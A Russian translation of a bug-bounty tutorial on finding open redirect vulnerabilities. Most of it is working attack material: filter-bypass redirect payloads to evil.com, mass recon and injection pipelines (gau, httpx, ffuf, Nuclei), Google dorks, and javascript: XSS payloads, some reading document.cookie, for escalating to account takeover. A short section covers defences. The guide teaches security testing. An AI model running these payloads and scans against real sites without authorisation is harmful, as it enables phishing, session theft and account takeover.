От нуля до героя: Охота на высокооплачиваемые уязвимости Open Redirect в веб-приложениях

От нуля до героя: Охота на высокооплачиваемые уязвимости Open Redirect в веб-приложениях

@Ent_TranslateIB

Введение

Уязвимость открытого перенаправления (Open Redirect) — одна из распространённых проблем веб-безопасности. Она позволяет злоумышленникам перенаправлять пользователей на вредоносные ресурсы, используя уязвимость в логике обработки URL. Такая проблема возникает, когда веб-приложение принимает пользовательский ввод в параметрах URL и выполняет перенаправление без должной проверки.

Несмотря на внешнюю простоту, уязвимость может иметь серьёзные последствия — от фишинга и распространения вредоносного ПО до захвата пользовательских сессий.

Что такое Open Redirect и как это работает

Если сервер безусловно обрабатывает URL, переданный пользователем, и перенаправляет его на указанный адрес без валидации - это уязвимость. Модифицируя параметр url, злоумышленник может обманом заставить пользователя перейти на вредоносный сайт.

https://example.com/redirect?url=http://malicious.com

В этом случае пользователь ожидает перехода на безопасный сайт, но по факту оказывается на вредоносном ресурсе, полностью подконтрольном атакующему.

Методы ручного тестирования

1. Простая подмена домена

?redirect=https://example.com → ?redirect=https://evil.com

2. Обход при запрете протокола

?redirect=https://example.com → ?redirect=//evil.com

3. Обход при запрете двойного слэша

?redirect=https://example.com → ?redirect=\\evil.com

4. Обход с использованием http: или https:

?redirect=https://example.com → ?redirect=https:example.com

5. Обход с использованием кодировки символа %40

?redirect=example.com → ?redirect=example.com%40evil.com

6. Обход при проверке только доменного имени

?redirect=example.com → ?redirect=example.comevil.com

7. Обход с использованием точек в кодировке %2e

?redirect=example.com → ?redirect=example.com%2eevil.com

8. Обход с использованием вопросительного знака

?redirect=example.com → ?redirect=evil.com?example.com

9. Обход с использованием хэша %23

?redirect=example.com → ?redirect=evil.com%23example.com

10. Обход с использованием символа /

?redirect=example.com → ?redirect=example.com/evil.com

11. Обход с использованием китайской точки %E3%80%82

?redirect=example.com → ?redirect=evil.com%E3%80%82%23example.com

12. Обход с использованием нулевого байта %0d или %0a

?redirect=/ → ?redirect=/%0d/evil.com

13. Перенаправления с закодированным URL

https://example.com/redirect?url=http%3A%2F%2Fmalicious.com

14. Перенаправления через путь

https://example.com/redirect/http://malicious.com

15. Перенаправления через Data URI

https://example.com/redirect?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnVGhpcyBpcyBhbiBhdHRhY2snKTwvc2NyaXB0Pg==

16. Перенаправления через схему javascript

https://example.com/redirect?url=javascript:alert('XSS');//

17. Перенаправления через HTTP-заголовки

Location: http://malicious.com  
X-Forwarded-Host: evil.com  
Refresh: 0; url=http://malicious.com

18. Гибридные обходы с Path Traversal

/redirect?url=/../../https://evil.com

19. Использование SVG-пейлоада

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg onload="window.location='https://evil.com/'" xmlns="http://www.w3.org/2000/svg"></svg>

Инструменты автоматического сканирования

Разведка

Соберите как активные, так и пассивные URL-адреса, используя все доступные инструменты и источники информации.

Для одного домена:

echo target.com | gau --o urls1.txt
echo target.com | katana -d 2 -o urls2.txt
echo target.com | urlfinder -o urls3.txt
echo target.com | hakrawler > urls4.txt

Для множества поддоменов:

subfinder -d target.com -all -o subdomains1.txt
assetfinder --subs-only target.com > subdomains2.txt
sort -u subdomains.txt subdomains2.txt -o uniqsubs.txt
cat uniqsubs.txt | httpx-toolkit -o finallist.txt

cat finallist.txt | gau --o urls1.txt
cat finallist.txt | katana -d 2 -o urls2.txt
cat finallist.txt | urlfinder -o urls3.txt
cat finallist.txt | hakrawler > urls4.txt

После сбора всех URL-адресов — отфильтровываем дубликаты и сортируем:

cat urls1.txt urls2.txt urls3.txt | uro | sort -u | tee final.txt

Фильтрация URL-адресов с параметрами редиректа

Используем команду grep для поиска часто используемых параметров при редиректах:

cat final.txt | grep -Pi "returnUrl=|continue=|dest=|destination=|forward=|go=|goto=|login\?to=|login_url=|logout=|next=|next_page=|out=|g=|redir=|redirect=|redirect_to=|redirect_uri=|redirect_url=|return=|returnTo=|return_path=|return_to=|return_url=|rurl=|site=|target=|to=|uri=|url=|qurl=|rit_url=|jump=|jump_url=|originUrl=|origin=|Url=|desturl=|u=|Redirect=|location=|ReturnUrl=|redirect_url=|redirect_to=|forward_to=|forward_url=|destination_url=|jump_to=|go_to=|goto_url=|target_url=|redirect_link=" | tee redirect_params.txt

Более эффективный способ — использовать gf для фильтрации параметров редиректа:

final.txt | gf redirect | uro | sort -u | tee redirect_params.txt

https://github.com/coffinxp/GFpattren/blob/main/redirect.json

Теперь переходим к финальной фазе — эксплуатации уязвимости. На этом этапе следует подобрать возможные полезные нагрузки и протестировать, срабатывает ли перенаправление на сторонние ресурсы.

cat redirect_params.txt | qsreplace "https://evil.com" | httpx-toolkit -silent -fr -mr "evil.com"

Альтернативный способ достижения того же результата:

subfinder -d vulnweb.com -all | httpx-toolkit -silent | gau | gf redirect | uro | qsreplace "https://evil.com" | httpx-toolkit -silent -fr -mr "evil.com"

Он выведет на экран все URL-адреса, которые перенаправляют пользователя на evil.com.

Чтобы просканировать все полезные нагрузки для обхода open redirect из вашего пользовательского списка, используйте следующую команду:

cat redirect_params.txt | while read url; do cat loxs/payloads/or.txt | while read payload; do echo "$url" | qsreplace "$payload"; done; done | httpx-toolkit -silent -fr -mr "google.com"

Эта команда протестирует все кастомные полезные нагрузки для обхода open redirect из файла or.txt для каждого параметра URL. Если в ответе будет обнаружен редирект на Google, он будет выведен на экран.

Или вы можете достичь того же результата с помощью следующего метода как для одного, так и для нескольких доменов:

echo target.com -all | gau | gf redirect | uro | while read url; do cat loxs/payloads/or.txt | while read payload; do echo "$url" | qsreplace "$payload"; done; done | httpx-toolkit -silent -fr -mr "google.com"

subfinder -d target.com -all | httpx-toolkit -silent | gau | gf redirect | uro | while read url; do cat loxs/payloads/or.txt | while read payload; do echo "$url" | qsreplace "$payload"; done; done | httpx-toolkit -silent -fr -mr "google.com"

Фаззинг с помощью FFuF и проверка в Burp Suite

ffuf -w redirect_params.txt:PARAM -w loxs/payloads/or.txt:PAYLOAD -u "https://site.com/bitrix/redirect.php?PARAM=PAYLOAD" -mc 301,302,303,307,308 -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0" -x http://localip:8080 -t 10 -mr "Location: http://google.com"

Пояснение к параметрам:

  • -mc — указывает FFuF отображать только ответы с HTTP-кодами перенаправления (301, 302, 303, 307, 308)
  • -mr — фильтрует ответы, подтверждающие редирект на указанный домен (например, Location: http://google.com)
  • -x — направляет трафик FFuF через прокси (например, Burp Suite) для последующего ручного анализа
  • -w — задаёт словарь для фаззинга
    redirect_params.txt
    — список параметров, потенциально отвечающих за перенаправление
    or.txt
    — список полезных нагрузок, предназначенных для обхода фильтрации и тестирования уязвимости

После перехвата трафика FFuF в Burp Suite вы можете использовать встроенные фильтры, чтобы отобразить только ответы с кодами состояния из серии 3xx (перенаправления).

Для более точной проверки используйте поиск по заголовкам ответов — проверьте, содержится ли, например, google.com в заголовке Location. Это поможет убедиться, что перенаправление действительно происходит на указанный домен.

Вы также можете использовать инструмент CURL для массового тестирования с помощью следующей команды:

cat urls.txt | qsreplace "https://evil.com" | xargs -I {} curl -s -o /dev/null -w "%{url_effective} -> %{redirect_url}\n" {}

Тестирование с использованием шаблона Nuclei

Для автоматизации процесса вы можете использовать пользовательский шаблон Nuclei, который добавляет параметры к URL-адресам поддоменов и проверяет их на наличие уязвимости.

[Вероятно автор использовал этот шаблон]

echo subdomains.txt | nuclei -t openRedirect.yaml -c 30

Использование VirusTotal

Вы также можете использовать VirusTotal для поиска URL-адресов с параметрами, потенциально уязвимыми к Open Redirect, а затем протестировать их с помощью вышеописанных методов.

https://www.virustotal.com/vtapi/v2/domain/report?apikey=<api_key>&domain=target.com
./virustotal.sh domains.txt | gf redirect

После этого вы можете использовать те же методы, что и раньше: qsreplace, ffuf, httpx и Burp Suite для дальнейшего тестирования.

Использование Burp Suite

Вы также можете использовать Burp Suite для поиска уязвимостей типа Open Redirect следующим образом:

Шаг 1

Перехватите HTTP-ответ от целевого сайта в Burp Suite и отправьте его в раздел "Discover Content". Это позволит выполнить активное сканирование по целевому домену и выявить возможные точки перенаправления.

Шаг 2

После завершения сканирования в Burp Suite вы сможете увидеть множество URL-адресов с параметрами на вкладке Target.

Шаг 3

Затем отфильтруйте полученные ответы, оставив только те, которые содержат коды состояния из серии 3xx (перенаправления). Выберите один из URL с параметром редиректа и отправьте его на вкладку Repeater для ручного тестирования.

Шаг 4

Теперь укажите позицию параметра, в которую вы будете вставлять полезные нагрузки для обхода Open Redirect. Вы можете найти список полезных нагрузок в моём репозитории на GitHub:

https://github.com/coffinxp/loxs/blob/main/payloads/or.txt

После этого запустите атаку в Burp Suite Intruder. Убедитесь, что автоматическое URL-кодирование отключено — это важно для корректной подстановки полезной нагрузки. Используйте Response Matching и укажите, например, google.com или любой другой домен, перенаправление на который вы хотите отследить. Это поможет автоматически выявить успешные попытки редиректа.

Шаг 5

Теперь воспользуйтесь опцией Filter, чтобы отображать только ответы с кодами состояния из серии 3xx. Это позволит выявить все редиректы на целевом сайте. Для повышения точности также рекомендуется проверять длину ответа — это поможет отличить реальные перенаправления от ложных.

Теперь вы можете скопировать любой запрос и вставить его в браузер, чтобы проверить редирект.

Использование инструмента Loxs

Для более простого способа поиска Open Redirect вы можете использовать инструмент Loxs, который автоматически определяет редиректы без ложных срабатываний. Сначала используйте следующую команду:

cat urls.txt | sed 's/=.*/=/' | uro >final.txt
  • urls.txt: Файл, содержащий URL, отфильтрованные и отсортированные с использованием шаблонов gf или других методов.
  • Команда sed используется для извлечения всех параметров из URL и преобразования их в пустые параметры для фаззинга.

После этого отправьте файл final.txt в инструмент Loxs, выберите опцию Open Redirect, укажите файл urls.txt и выберите файл с полезными нагрузками.

Результат будет выглядеть следующим образом:

И Loxs также сгенерирует HTML-файл для удобного просмотра результатов, показывая все успешные полезные нагрузки в чистом и организованном формате.

Open Redirect → XSS → Account Takeover (ATO)

Если вы обнаружили уязвимость типа Open Redirect, всегда старайтесь повысить её критичность, объединив с XSS. Это может привести к захвату учетной записи (Account Takeover).

#Основная полезная нагрузка, код javascript выполняется после "javascript:"
javascript:alert(1)

#Обход фильтра слов "javascript" с помощью CRLF
java%0d%0ascript%0d%0a:alert(0)

#Javascript с "://" (Обратите внимание, что в JS "//" - это строчный комент, поэтому перед полезной нагрузкой создается новая строка). Необходимо двойное кодирование URL.
#Это обходит FILTER_VALIDATE_URL в PHP
javascript://%250Aalert(1)

#Вариант обхода "javascript://", когда также необходим запрос (использование комментариев или тернарного оператора)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Другие
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/

https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect

Google Dorking и автоматизация

Вы также можете использовать ручной способ поиска уязвимости на целевом сайте с помощью следующего Google Dork:

site:target (inurl:url= | inurl:return= | inurl:next= | inurl:redirect= | inurl:redir= | inurl:ret= | inurl:r2= | inurl:page= | inurl:dest= | inurl:target= | inurl:redirect_uri= | inurl:redirect_url= | inurl:checkout_url= | inurl:continue= | inurl:return_path= | inurl:returnTo= | inurl:out= | inurl:go= | inurl:login?to= | inurl:origin= | inurl:callback_url= | inurl:jump= | inurl:action_url= | inurl:forward= | inurl:src= | inurl:http | inurl:&)

inurl:url= | inurl:return= | inurl:next= | inurl:redirect= | inurl:redir= | inurl:ret= | inurl:r2= | inurl:page= inurl:& inurl:http site:target

Для массовой автоматизации open redirect можно использовать скрипт dorking.py, который собирает все результаты Google Dork за считанные секунды в терминале.

[Например - https://github.com/tireee/Dorking]

После этого используйте шаблоны gf, qsreplace и httpx для фильтрации валидных open redirect следующим образом:

cat urls.txt| gf redirect | uro | qsreplace "https://evil.com" | httpx-toolkit -silent -fr -mr "evil.com"

Для тестирования более продвинутых обходных полезных нагрузок используйте эту команду, чтобы попробовать все полезные нагрузки из кастомного словаря:

cat urls.txt| gf redirect | uro | while read url; do cat /home/coffinxp/loxs/payloads/or.txt | while read payload; do echo "$url" | qsreplace "$payload"; done; done | httpx-toolkit -silent -fr -mr "google.com"

Или используйте инструмент Loxs, как и ранее. Сначала обрежьте все параметры из URL, затем передайте полученный файл в Loxs — инструмент автоматически определит уязвимости типа Open Redirect.

Риски и последствия

  • Фишинг: пользователи перенаправляются на поддельные сайты и вводят свои учетные данные.
  • Распространение вредоносного ПО: переход на сайты, загружающие вредоносные файлы.
  • Угон сессий: кража cookie-файлов с помощью специально сформированных URL.

Как защититься

  • Белый список URL-адресов: разрешайте перенаправления только на проверенные домены.
  • Использование относительных путей: избегайте указания абсолютных URL в параметрах.
  • Валидация входных данных: блокируйте неизвестные или подозрительные значения в redirect-параметрах.
  • Предупреждение пользователей: отображайте уведомление перед переходом на внешний ресурс.

Вознаграждение по баг-баунти

  • Небольшие сайты: от $50 до $200
  • Средние компании: от $200 до $500
  • Крупные корпорации: от $500 до $1000
  • Open Redirect, ведущий к ATO (Account Takeover): от $1000 до $5000

Также вы можете ознакомиться с видеодемонстрацией, где показана полная практика использования данного подхода.

Заключение

Уязвимости типа Open Redirect по-прежнему представляют серьёзную угрозу для безопасности веб-приложений. Глубокое понимание механизмов работы, методов обнаружения и способов защиты позволяет разработчикам и исследователям эффективно минимизировать риски и предотвращать атаки.


Оригинал статьи - здесь.
Поддержите автора хлопками на Medium.


Перевод статьи был выполнен проектом перевод энтузиаста:

  • 📚 @Ent_TranslateIB - Телеграмм канал с тематикой информационной безопасности

Report Page